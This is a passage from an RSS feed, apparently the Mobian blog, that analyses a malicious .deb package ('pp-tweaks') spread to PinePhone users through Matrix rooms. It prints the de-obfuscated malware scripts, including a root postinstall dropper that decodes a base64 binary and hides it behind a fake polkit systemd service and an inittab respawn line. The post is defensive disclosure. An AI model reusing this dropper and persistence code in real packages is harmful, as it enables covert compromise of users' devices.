preinstalled in a location separate from the main storage.&lt;/p&gt;
&lt;p&gt;Both new and existing users should install Tow-Boot or a similar system to provide updates
to their boot firmware. This will be required on new installs using images generated after
2022-04-02.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Script kiddy strikes back</title>
      <link>https://blog.mobian.org/posts/2022/02/11/pinephone-malware-analysis/</link>
      <pubDate>Fri, 11 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/02/11/pinephone-malware-analysis/</guid>
      <description>&lt;p&gt;As you may be aware, a malicious person tried to
&lt;a href=&#34;https://mastodon.online/web/@craftyguy@freeradical.zone/107736521862145780&#34;&gt;spread malware&lt;/a&gt;
through many Matrix rooms used by mobile Linux users and developers, partly
taking advantage of a known &lt;a href=&#34;https://nns.ee/blog/2021/04/03/modem-rce.html&#34;&gt;vulnerability&lt;/a&gt;
in the stock modem firmware. Here&amp;rsquo;s a quick analysis of how this malware was
supposed to operate.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Disclaimer: while being enthusiastic nerds, none of the Mobian developers is
a security expert. We hope this post will provide interesting information to
the community but it shouldn&amp;rsquo;t be considered an exhaustive security report.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Please also note this was by no means a Mobian-only effort: in this post, we&amp;rsquo;re
reporting the findings of the mobile Linux community as a whole, not claiming
we did it all by ourselves.&lt;/p&gt;
&lt;h1 id=&#34;a-bit-of-context&#34;&gt;A bit of context&lt;/h1&gt;
&lt;p&gt;The malware was uploaded to Matrix chat rooms in the form of an installable
binary package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.apk&lt;/code&gt; for postmarketOS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.deb&lt;/code&gt; for Mobian&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.pkg.tar.zst&lt;/code&gt; for Arch/Manjaro&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Multiple variants were posted such as &lt;code&gt;coathanger&lt;/code&gt; or &lt;code&gt;pp-tweaks&lt;/code&gt; but, a few
cosmetic differences aside, they all work in the same way and embed the same
malicious payload. In the rest of this post, we&amp;rsquo;ll take a closer look at the
&lt;code&gt;.deb&lt;/code&gt; package (obviously) of the &lt;code&gt;pp-tweaks&lt;/code&gt; variant.&lt;/p&gt;
&lt;p&gt;This file is an actual package suitable for installation using &lt;code&gt;dpkg&lt;/code&gt; or &lt;code&gt;apt&lt;/code&gt;.
Its package metadata look valid and contain the following description:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Description: Tweaks for PinePhone and PinePhone Pro as well as various other
devices such as the Oneplus 6 and the Poco F1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although it&amp;rsquo;s obvious that the package has been handcrafted rather than
generated using the usual Debian packaging tools (no checksums included in the
package metadata, for example), and except for the contents of the
&lt;code&gt;Maintainer&lt;/code&gt; field (&lt;code&gt;layla289&lt;/code&gt;, maybe an
&lt;a href=&#34;https://yewtu.be/watch?v=uSquiIVLhrQ&#34;&gt;Eric Clapton&lt;/a&gt; fan?), the package doesn&amp;rsquo;t
look harmful at this point.&lt;/p&gt;
&lt;p&gt;The following files are installed from this package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/bin/pp-tweaks-gtk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/lib/pp-tweaks-postinstall&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It also contains the following post-install script, automatically run by &lt;code&gt;dpkg&lt;/code&gt;
once the package files have been installed to the system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/usr/lib/pp-tweaks-postinstall
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While it&amp;rsquo;s not unusual for a Debian package to contain such a script, having it
run only a newly installed executable is rather strange, especially if said
executable is sitting in &lt;code&gt;/usr/lib&lt;/code&gt;! The malware is therefore meant to operate
that way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;user invokes &lt;code&gt;sudo dpkg -i pp-tweaks.deb&lt;/code&gt;, granting &lt;code&gt;dpkg&lt;/code&gt; root permissions
(this is required, otherwise it won&amp;rsquo;t be able to copy files to the target
directories)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dpkg&lt;/code&gt; extracts the files and runs the post-install script, which also has
root privileges&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pp-tweaks-postinstall&lt;/code&gt; is executed, obviously still with root privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The actual malware is therefore &lt;code&gt;pp-tweaks-postinstall&lt;/code&gt;, &lt;code&gt;pp-tweaks-gtk&lt;/code&gt;
being probably just a distraction. However, the latter could give us useful
information while being presumably safer to run, in case it can run at all.&lt;/p&gt;
&lt;h1 id=&#34;initial-static-analysis&#34;&gt;Initial static analysis&lt;/h1&gt;
&lt;p&gt;Unix systems provide a number of useful commands by default, in particular:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt; gives us information about the type of a given file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;strings&lt;/code&gt; extracts all human-readable character strings from a binary file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the case of &lt;code&gt;pp-tweaks-*&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt; outputs the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pp-tweaks-gtk: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux),
statically linked, no section header
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The files are statically linked so they don&amp;rsquo;t depend on libraries of the
host system. This allows this binary to be executed on any ARM64 Linux
device, no matter which distribution it runs.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;strings&lt;/code&gt; reveals the following, among other things:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We now know that those files are auto-extractible executables compressed using
&lt;a href=&#34;https://en.wikipedia.org/wiki/UPX&#34;&gt;UPX&lt;/a&gt;. We can easily extract those by
installing the appropriate software and can discover the resulting executables
are also ARM64 ELF files, statically linked and stripped (all debug information
removed, make them lighter but also more difficult to reverse-engineer).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;strings&lt;/code&gt; doesn&amp;rsquo;t find anything of interest this time, but other variants
contain the following noteworthy strings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;in &lt;code&gt;coathanger-gtk&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;purism still haven&amp;#39;t refunded or shipped my librem 5.
diana, if you&amp;#39;re reading this (which could be possible) i have to say that i love you!
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;in &lt;code&gt;coathanger-postinstall&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;i just want to say i love you diana!
purism why do you steal our money and run away with it?? refund our money or at least ship a development phone instead of nothing!!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Like us, you&amp;rsquo;re probably dying to know this Diana, but sadly we doubt that this
will ever happen.&lt;/p&gt;
&lt;p&gt;Some of our developers put out the big guns and decided to reverse-engineer the
binaries&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; using &lt;a href=&#34;https://ghidra-sre.org/&#34;&gt;ghidra&lt;/a&gt;, which unfortunately didn&amp;rsquo;t
bring any conclusive result, except for a growing perplexity when being faced
with some of the algorithms appearing in those files.&lt;/p&gt;
&lt;h1 id=&#34;livin-on-the-edge&#34;&gt;Livin&amp;rsquo; on the edge&lt;/h1&gt;
&lt;p&gt;In order to analyze more thoroughly the behaviour of those binaries, some of us
took the calculated risk of running them in a controlled environment. The
PinePhone can easily provide such an environment when you have a spare device,
as many developers do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;wipe clean the internal eMMC&lt;/li&gt;
&lt;li&gt;switch off all radios and peripheral hardware (4G modem, WiFi/Bluetooth,
cameras) killswitches so all sensitive parts are physically disabled and
login via UART/serial console is enabled, resulting in an effectively
&lt;a href=&#34;https://en.wikipedia.org/wiki/Air_gap_%28networking%29&#34;&gt;air-gapped&lt;/a&gt; device
and suitable testing environment&lt;/li&gt;
&lt;li&gt;flash an SD card with a new OS image and transfer the binary files onto it
before booting the SD&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Running &lt;code&gt;pp-tweaks-gtk&lt;/code&gt; brings the following result:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mobian@mobian:~$ ./pp-tweaks-gtk
./pp-tweaks-gtk: 6: ldconfig: not found
./pp-tweaks-gtk: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared
object file: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Oddly enough, the static binary seems to try loading a shared library (which
is &lt;em&gt;exactly&lt;/em&gt; what static binaries &lt;strong&gt;never&lt;/strong&gt; normally do). Faced with this weird
behavior, we wanted to trace system calls, in case something interesting would
pop up. At first sight, nothing noteworthy appears from executing
&lt;code&gt;strace ./pp-tweaks-gtk&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;However, the last few lines reveal interesting things:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;write&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;1, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./pp-tweaks-gtk: error while loa&amp;#34;&lt;/span&gt;..., 132&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;132&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit_group&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;0&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;                           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+++ exited with &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; +++
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;write()&lt;/code&gt; is called on file descriptor &lt;strong&gt;1&lt;/strong&gt;, which is the convention for
&lt;code&gt;stdout&lt;/code&gt; (standard output), whereas error message are usually directed to fd
&lt;strong&gt;2&lt;/strong&gt; (&lt;code&gt;stderr&lt;/code&gt;, or standard error). Likewise, the program exits with code &lt;code&gt;0&lt;/code&gt;,
which is the convention for &amp;ldquo;this program completed its task succesfully and
didn&amp;rsquo;t encounter any major issue&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;This calls for a closer look, and we end up spotting the following suspicious
line:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;execve&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./pp-tweaks-gtk&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;-c&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;                                &amp;#34;&lt;/span&gt;...,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./pp-tweaks-gtk&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, 0x7ffc53a1d8 /* &lt;span style=&#34;color:#ae81ff&#34;&gt;28&lt;/span&gt; vars */&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In particular, &lt;code&gt;&amp;quot;                                &amp;quot;...&lt;/code&gt; refers to a string
beginning with many whitespaces, truncated (by &lt;code&gt;strace&lt;/code&gt;) for being too long.
Re-running &lt;code&gt;strace&lt;/code&gt; with the &lt;code&gt;-s 10240&lt;/code&gt; option (don&amp;rsquo;t truncate strings under
10K characters) gives us the following (removed most of the initial whitespaces
and added newlines for clarity):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;execve&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;./pp-tweaks-gtk&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;-c&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;   ...(many many whitespaces)...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  #!/bin/sh\n\nmsgcode1=\&amp;#34;i just want to say that i love my gf\&amp;#34;\nmsgco
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  de2=\&amp;#34;purism why you still have not shipped the librem 5??? stop maki
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  ng money and ship your fucking phones!!!!\&amp;#34;\n\nif ldconfig -p | grep
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  -q libgtk-x11-2.0.so\nthen\n\techo \&amp;#34;&lt;/span&gt;$0&lt;span style=&#34;color:#e6db74&#34;&gt;: error while loading shared l
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  ibraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  \&amp;#34;\nelse\n\techo \&amp;#34;&lt;/span&gt;$0&lt;span style=&#34;color:#e6db74&#34;&gt;: error while loading shared libraries: libgtk-x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  11-2.0.so: cannot open shared object file: No such file or directory\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  &amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;fi&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;./pp-tweaks-gtk&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;], 0x7fd44fc6a8 /* 28 vars */) = 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This strace &amp;ldquo;signature&amp;rdquo; is a characteristic of executables created by
&lt;a href=&#34;https://github.com/neurobin/shc&#34;&gt;shc&lt;/a&gt;, a utility designed for embedding shell
scripts into executable binary files. &lt;code&gt;shc&lt;/code&gt; encrypts the script using the RC4
algorithm before embedding it into C code, effectively turning the clear-text
script into (seemingly) meaningless binary data. This explains why we weren&amp;rsquo;t
able to extract it using &lt;code&gt;strings&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So in the end, &lt;code&gt;pp-tweaks-gtk&lt;/code&gt; simply executes a shell script embedded (and
obfuscated) inside the binary itself! Here&amp;rsquo;s the script in question:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msgcode1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;i just want to say that i love my gf&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;msgcode2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ldconfig -p | grep -q libgtk-x11-2.0.so
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$0&lt;span style=&#34;color:#e6db74&#34;&gt;: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$0&lt;span style=&#34;color:#e6db74&#34;&gt;: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: No such file or directory&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Oh, hello again, angry Romeo!&lt;/p&gt;
&lt;p&gt;So what this script does is pretty simple: it prints what &lt;em&gt;appears to be&lt;/em&gt; an
error message (while it&amp;rsquo;s only what the program is meant to do) in order to
fool the victim. Thankfully, while being a good example of poorly engineered
software, this little script can&amp;rsquo;t do any harm, even if it were run as &lt;code&gt;root&lt;/code&gt;.
The other executable, however, is way more evil&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;main-course&#34;&gt;Main course&lt;/h1&gt;
&lt;p&gt;By doing the same on &lt;code&gt;pp-tweaks-postinstall&lt;/code&gt; (but with &lt;code&gt;-s 10000000&lt;/code&gt; as the script
is waaay bigger here), we can extract the following script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Enabling tweaks daemon&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir -p /usr/lib/gtk-3.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;376k base64-encoded data&amp;gt;&amp;#34;&lt;/span&gt; | base64 -d &amp;gt; /usr/lib/gtk-3.0/gtk-helper
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod +x /usr/lib/gtk-3.0/gtk-helper
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# systemd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; -f /usr/lib/systemd/systemd &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	mkdir -p /usr/lib/systemd/system
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	cat &amp;gt; /usr/lib/systemd/system/polkilt.service &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;lt;&amp;lt;EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[Unit]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Description=Authorization Manager
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Documentation=man:polkit(8)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[Service]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Type=simple
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;ExecStart=/usr/lib/gtk-3.0/gtk-helper
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[Install]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;WantedBy=multi-user.target
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	systemctl enable polkilt.service &amp;gt; /dev/null 2&amp;gt;&amp;amp;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; -f /etc/inittab &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;tty9::respawn:/usr/lib/gtk-3.0/gtk-helper&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; /etc/inittab
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script creates an executable called &lt;code&gt;/usr/lib/gtk-3.0/gtk-helper&lt;/code&gt;
and makes sure this executable is run on startup after each reboot.
Another variant uses the &lt;code&gt;--now&lt;/code&gt; option to &lt;code&gt;systemctl enable&lt;/code&gt;, so the
binary is started immediately (otherwise it won&amp;rsquo;t start until the user
reboots).&lt;/p&gt;
